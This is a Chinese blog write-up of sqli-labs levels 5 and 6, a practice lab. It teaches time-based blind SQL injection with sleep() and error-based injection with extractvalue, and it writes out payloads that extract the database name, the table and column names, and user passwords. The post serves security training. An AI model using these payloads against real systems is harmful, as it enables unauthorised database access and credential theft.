sqli-labs 第五关+第六关

进入第五关之后稀里糊涂随便注了一通发现没有篮子用。可能是:布尔型盲注、报错型注入、时间延迟型盲注了。
到这里时我们需要了解一些sql语句、函数。可以参考https://blog.csdn.net/qq_41420747/article/details/81773481

1、构造逻辑判断

(1)sql注入截取字符串常用涵数

 在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。本文中主要列举三个函数和该函数注入过程中的一些用例。

函数:mid()  substr()   left()

mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start                必需,规定开始位置(起始为1)

length            可选,要返回的字符数,如果省略则返回剩余文本

eg:str="123456" mid(str,2,1)  结果为2

substr()

 Substr()和substring()函数实现的功能是一样的,均为截取字符串。

    string substring(string, start, length)

    string substr(string, start, length)

    参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

•基于时间的 SQL 盲注--延时注入

•基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来

第一种,时间延迟型注入手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。

?id=1’ and if(length(database())=n,sleep(5),1)--+

经过几次尝试,发现数据库长度为8时有明显延迟5秒。

?id=1' and if(length(database())=8,sleep(5),1)--+

猜库名

数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

猜表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+

经过几次尝试找到了表名。

猜列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky

猜值

?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb

到这里建议使用sqlmap   https://www.cnblogs.com/tac2664/p/13772176.html 第一关的第二种方法,相同 用工具既省劲又方便

第二种,报错注入

爆库

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 爆表名

?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 爆列名

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

爆数据

?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+

用limit 可以看所有的数据了。

第六关

源码中:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

将第五关的单引号改为双引号即可。

原文地址:https://www.cnblogs.com/tac2664/p/13797182.html